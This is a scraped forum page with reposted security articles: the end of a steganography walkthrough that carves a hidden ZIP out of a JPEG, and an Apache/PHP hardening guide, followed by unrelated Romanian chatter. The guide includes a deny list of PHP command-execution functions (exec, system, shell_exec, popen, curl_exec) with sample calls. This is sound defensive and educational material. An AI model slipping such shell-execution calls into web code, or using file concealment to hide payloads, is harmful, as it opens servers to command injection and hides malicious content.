03: data descriptor Bit 04: enhanced deflation Bit 05: compressed patched data Bit 06: strong encryption Bit 07-10: unused Bit 11: language encoding Bit 12: reserved Bit 13: mask header values Bit 14-15: reserved[/TD] [/TR] [TR] [TD=width: 307]Compression method[/TD] [TD=width: 307]00: no compression01: shrunk02: reduced with compression factor 1 03: reduced with compression factor 2 04: reduced with compression factor 3 05: reduced with compression factor 4 06: imploded 07: reserved 08: deflated 09: enhanced deflated 10: PKWare DCL imploded 11: reserved 12: compressed using BZIP2 13: reserved 14: LZMA 15-17: reserved 18: compressed using IBM TERSE 19: IBM LZ77 z 98: PPMd version I, Rev 1[/TD] [/TR] [TR] [TD=width: 307]File modification time[/TD] [TD=width: 307]Bits 00-04: seconds divided by 2Bits 05-10: minuteBits 11-15: hour[/TD] [/TR] [TR] [TD=width: 307]File modification date[/TD] [TD=width: 307]Bits 00-04: day Bits 05-08: month Bits 09-15: years from 1980[/TD] [/TR] [TR] [TD=width: 307]Crc-32 checksum[/TD] [TD=width: 307]CRC-32 algorithm with ‘magic number’ 0xdebb20e3 (little endian)[/TD] [/TR] [TR] [TD=width: 307]Compressed size[/TD] [TD=width: 307]If archive is in ZIP64 format, this filed is 0xffffffff and the length is stored in the extra field[/TD] [/TR] [TR] [TD=width: 307]Uncompressed size[/TD] [TD=width: 307]If archive is in ZIP64 format, this filed is 0xffffffff and the length is stored in the extra field[/TD] [/TR] [TR] [TD=width: 307]File name length[/TD] [TD=width: 307]The length of the file name field below[/TD] [/TR] [TR] [TD=width: 307]Extra field length[/TD] [TD=width: 307]The length of the extra field below[/TD] [/TR] [TR] [TD=width: 307]File name[/TD] [TD=width: 307]The name of the file including an optional relative path. All slashes in the path should be forward slashes ‘/’.[/TD] [/TR] [TR] [TD=width: 307]Extra field[/TD] [TD=width: 307]Used to store additional information. The field consists of a sequence of header and data pairs, where the header has a 2 byte identifier and a 2 byte data size field.[/TD] [/TR] [/TABLE] In addition to this, every PKZip has a signature used to show the end of the Central Directory which is “0x504B0506?, in other words, every ZIP file is started by “0x504B0304? and is ended by “0x506B0506?. Let’s get back to our JPEG file where we left it: Here I marked with different colors bytes that need explanation based on the table above: [TABLE] [TR] [TD]Signature[/TD] [TD]0x504B0304[/TD] [/TR] [TR] [TD]Version[/TD] [TD]0×14 = 20d means version 2.0[/TD] [/TR] [TR] [TD]Flags[/TD] [TD]Bit 02: compression option[/TD] [/TR] [TR] [TD]Compression method[/TD] [TD]08: deflated[/TD] [/TR] [TR] [TD]File modification time[/TD] [TD]0x02F4 (little endian)[/TD] [/TR] [TR] [TD]File modification date[/TD] [TD]0x419F (little endian)[/TD] [/TR] [TR] [TD]Crc-32 checksum[/TD] [TD]0x9CD950D4 (little endian)[/TD] [/TR] [TR] [TD]Compressed size[/TD] [TD]0x2DE3 = 11747 bytes[/TD] [/TR] [TR] [TD]Uncompressed size[/TD] [TD]0xE299 = 58009 bytes[/TD] [/TR] [TR] [TD]File name length[/TD] [TD]0×8 bytes[/TD] [/TR] [TR] [TD]Extra field length[/TD] [TD]0x1C[/TD] [/TR] [TR] [TD]File name[/TD] [TD]0×2020202020202020 = 8 times space bare[/TD] [/TR] [TR] [TD]Extra field[/TD] [TD]0×5455 extended timestamp, size: 5 bytes[/TD] [/TR] [/TABLE] We know enough to think about extracting this zip file from the given JPEG file, we know the header of the file, how the file is structured and that this last contains a file named ” “with no extension! The easiest way to proceed in order to “dump” the zip embedded within the JPEG file is copying all bytes starting from the header of the ZIP until its trailer, which means, from the first “504B0304?until the end of the Central Directory meaning “506B0506? located in general at the end of file streaming: Using your hexadecimal editor go to the offset 0XCB8E to find the beginning of the zip file, then select all bytes until the offset 0xFA04, copy data into new file and save it as a ZIP file: If you are using WinHex right click on the exact offset then select “Edit -> Copy Block -> Into New File” A “Save File as” window appears; give your file a name.zip Checking the dumped Zip file Using “file” command tells us that indeed this is a valid zip file: C:\Users\Soufiane>file C:\Users\Soufiane\Desktop\stegano\dumpedPK.zip C:\Users\Soufiane\Desktop\stegano\dumpedPK.zip; Zip archive data, at least v2.0 to extract Now let’s try to extract our compressed archive (you can use whatever software you want) I’ll keep on using commands given by GnuWin32, so: C:\Users\Soufiane>unzip C:\Users\Soufiane\Desktop\stegano\dumpedPK.zip Archive: C:/Users/Soufiane/Desktop/stegano/dumpedPK.zip error: cannot create Remember the name of the file inside the zip file? An eight space name and this kind of file names can in fact cause some unzipping problems, so let’s get back to the dumped zip file and using the hexadecimal editor, we will change the name by something more usual. What you have to do is making a hexadecimal search (like the one we did before) and try to find “2020202020202020? then changing it by whatever you like. According to the PKZip file structure you are supposed to find two hints one in the beginning of the zip file and one in its end: Change these values using the same thing: Save and try to extract again: C:\Users\Soufiane\Desktop\stegano>unzip C:\Users\Soufiane\Desktop\stegano\dumpedPK.zip Archive: C:/Users/Soufiane/Desktop/stegano/dumpedPK.zip inflating: NoSpaces Yes! A file called “NoSpaces” is now created; let’s see what kind of files is this: The zip file contained in reality another JPEG file, rename the extracted file to “NoSpaces.jpeg” and let’s see how it looks: It’s a working JPEG file containing the key we were asked! Conclusion In this paper we learned that Steganography is not only this enigmatic art strictly based on mathematics and complex algorithms, we saw how a simple image file can hide any other file just by handling and understanding file structures, I tried to introduce you some common file structures that are JPEG and PKZip files and we saw how a hexadecimal editor can help us investigating files. Hope you learned something new! References http://www.creangel.com/papers/steganografia.pdf http://en.wikipedia.org/wiki/Steganography en.wikipedia.org/wiki/File_carving http://www.faqs.org/faqs/jpeg-faq/part1/section-15.html http://www.utica.edu/academic/institutes/ecii/publications/articles/A0B1F944-FF4E-4788-E75541A7418DAE24.pdf http://www.pkware.com/documents/casestudies/APPNOTE.TXT http://members.tripod.com/~petlibrary/ZIP.HTM http://en.wikipedia.org/wiki/List_of_file_signatures http://www.pkware.com/documents/APPNOTE/APPNOTE-6.3.0.TXT https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html#general Target used : Steganography-UnZipMe.zip GetGnuWin32: getgnuwin32.sourceforge.net Sursa: Steganography: What your eyes don’t see
  21. Da, iar lista nu e completa. Nu vii tu cu niste completari? :->
  22. Hacker Proofing Apache & PHP Configuration Aditya Balapure August 14, 2013 SECURING APACHE Apache has been truly one of the dominant web servers of the World Wide Web. It’s one of the best open source projects, Web Server for both the Windows and the NIX platform. It’s maintained by the open source community under the name Apache Software Foundation. Now first we will learn about the techniques to how harden our Apache configuration for a safer web experience. Security 101- DENY ALL Always remember it’s the best security to deny all and only allow specific services, ports and firewall rules as per the configuration. So the same goes for Apache as well, we follow a whitelisting technique to deny all and only allow what is required. Hence what we have done here is to block access to all the directories. These configurations and changes have to be done in the main configuration file of Apache, or if you are using a newer version of Ubuntu/ Backtrack r3 they can be found under/etc/apache2/conf.d/security Now let’s allow what we really require, access to a particular folder XYZ. So we make some more changes to the configuration file. Security 102- Disabling Directory Indexing This vulnerability basically displays all the files in a particular directory, if the base file like index.php index.html is not available. On a few default configurations it’s enabled by default and causes the exploit. We can remove this by: Security 103- Disable HTTP TRACE Method Now TRACE method simply echoes back the received request for a client so that he may see what changes or additions have been done. Attackers can abuse this functionality to gain access to sensitive information via headers like cookies and authentication data. This may be disabled by: Security 104- Removing the default files Having the default files of Apache in a live web server environment is really bad. These may be used to fingerprint the apache version and even the operating system at times. This ultimately helps to obfuscate our running web server. Security 105 – Disable server tokens and signatures It’s a good security practice to disable server signatures Security 106 – Remove Default Error Pages It’s a good security practice to remove default error pages offered by Apache. This ultimately makes it difficult for the attackers to identify what web server or version you’re running on. Hence it’s advised to create custom pages for errors, bugs and functionality problems in a particular application. Security 107 – Disable WebDAV WebDAV stands for Web Distributed Authoring and Versioning which aids in the download/upload of files and the ability work with those files on a remote web server. It’s basically required to run a SVN server, hence it would be advisable to disable WebDAV in online websites due to the high denial vulnerability of service attacks via PROFIND, PROPATCH or LOCK requests with a huge XML body. Here is how we remove/disable WebDAV: Security 108 – Setup a chroot environment for your website Chroot is a process to change the apparent disk root to another root directory. Hence once we have changed the root to another directory we cannot access files outside that particular directory. It’s also known as a jailed environment/chroot jail. So when working in a chroot environment an application is inaccessible to the parent disk and other resources. This is a security practice because helps protect from malicious users of hosted websites on the server from accessing the operating system’s files. Such similar instances may be created for different websites hosted on the same server which, blocks access of malicious scripts/virus from one site to the other. Security 109 – Distribute Ownership and don’t be Root It is recommended to avert from running Apache as a root user since malicious users may gain full access to the whole server by using potential bad scripts. If the webserver hosts a multiple number of sites then files for different sites should be owned by different users. This ultimately helps in preventing access from one site to another so, if one gets infected the others are safe. Security 110 – Don’t forget to install security updates It’s best advised to install security updates and patches which may be released by the organization for fixes against some vulnerabilities. This prevents our server from being susceptible to the same exploits from open disclosure sites. Securing PHP Now let’s move to securing our PHP configuration to prevent various server side attacks, which may be possible if left insecure. Security 101 – Disable PHP information It is recommended to disable PHP information to the outside world since it helps us protect the current version of PHP we run from the outside world. If the PHP information is turned there can be instances in which the PHP version may be seen in the HTTP headers. Here is how we disable it: Security 102- Log all Errors It is always advised to log all PHP errors and avoid them from being displayed. Here is how to do it: Security 103- Disallow File Uploads All types of file uploads should be disabled by default. If the application requires certain files to be uploaded then it should be thoroughly checked for proper extensions, parsed for malicious scripts and kept in a sandboxed location. All external data should be treated as unsafe and should not be trusted upon. Here is how to do it: Security 104 – Disallow Remote Code Execution This option if enabled allows the website to retrieve data from a remote website through include etc. It may allow an attacker to inject malicious URLs from his websites and include/parse it through the local PHP interpreter for a command execution. Hence this is important to prevent against code injection vulnerabilities. It’s also advised to filter any inputs which are to be received from users. Here is how we do it: Security 105 – Disabling Privileged Functions There is a long list of PHP functions which should be disabled to protect the PHP configuration. The functions are- exec – This is used for executing an external command. [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]<?php echo exec('ls -A'); ?> [/TD] [/TR] [/TABLE] passthru – This function executes an external program and displays raw output. [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]<?php echo passthru('ls -A'); ?> [/TD] [/TR] [/TABLE] system – This executes an external program and displays the output. [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]<?php echo system('ls'); ?> [/TD] [/TR] [/TABLE] shell_exec – This executes the command through shell and returns the complete output as a string. [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]<?php echo shell_exec('ls'); ?> [/TD] [/TR] [/TABLE] proc_open – This executes a command and opens file pointers for input/output proc_close – This closes a process opened up by proc_open and returns the exit code of that process. popen- This basically opens a pipe to the program specified in the command interpreter. Few other functions which should be disabled are curl_exec,curl_multi_exec,parse_ini_file,show_source Here is how we do it: Security 106 – Limit PHP access to file system In most web server setups it’s strictly advised that the web applications are not allowed to read files outside of the web root directory. All the web server files are generally located under /var/www unless a customization is done. Hence we restrict the PHP applications to act outside this directory by using the open_basedir as shown below: Security 107 – Turning on Magic Quotes The magic quotes features gives PHP the ability to automatically escape quotes, backslashes and Nulls with a backslash. Hence it filters any unwanted quotes which might have been passed by a malicious user to the application. This might prevent XSS, SQL injection and some other attacks by the malicious user. Security 108 – Disabling Register Globals This directive takes input from GET, POST, session variables, uploaded files, which are directly accessible as global variables. Suppose we have a URL http://www.example.com/xyz.php?input=TRUE It has a query string at the end of the URL, now any value entered will directly affect the value of the variable. Hence it will allow any malicious user to inject any global variable in the code without any control. The easiest method to do this would be to include a line in the .htaccess file. php_flag register_globals off References DIY: Harden Apache web servers with these tips - TechRepublic Apache 2.0 Hardening Guide 10 Apache Security and Hardening Tips | Kyplex cloud security Linux: 25 PHP Security Best Practices For Sys Admins Dangerous php functions - Stack Overflow PHP: Program execution Functions - Manual PHP popen() Function Configuration Auditing php.ini To Help Prevent Web Application Attacks | Tenable Network Security https://www.owasp.org/index.php/Configuration#PHP_Configuration php - Why is REGISTER_GLOBALS so bad? - Stack Overflow Sursa: Hacker Proofing Apache & PHP Configuration
  23. Da, m-am uitat si eu prin sursa, evident, nu e complet. S-a incercat rescrierea de la 0 a sistemului de operare Windows XP. Sansele de reusita sunt extrem de mici date fiind: 1. E un proiect EXTREM de complex 2. Cunostintele necesare pentru a putea colabora la proiect sunt la nivelul > avansat 3. Sunt foarte putini oameni care pot contribui si care o fac Pana sa se ajunga la o versiune stabila vor mai trece multi ani, asta daca se va continua proiectul. Insa ca utilitate, e foarte interesant sa te uiti in codul sursa si sa intelegi cum functioneaza kernelul din Windows.
  24. Am stat si eu vreo 2 minute pe geam dar nu am vazut nimic. Cam cat de des apar? Una la 5-10 minute, sau mai rar?
  25. Cum adica 24/48? Salariul cred ca esti mai mic decat minimul pe economie, nici nu cred ca e legal sa fie atat. Despre ce job e vorba? La Carrefour, Cora, Kaufland probabil e mai ok. In programare, pana si internship-urile sau part time-urile sunt platite de la 1000 RON in sus.
×
×
  • Create New...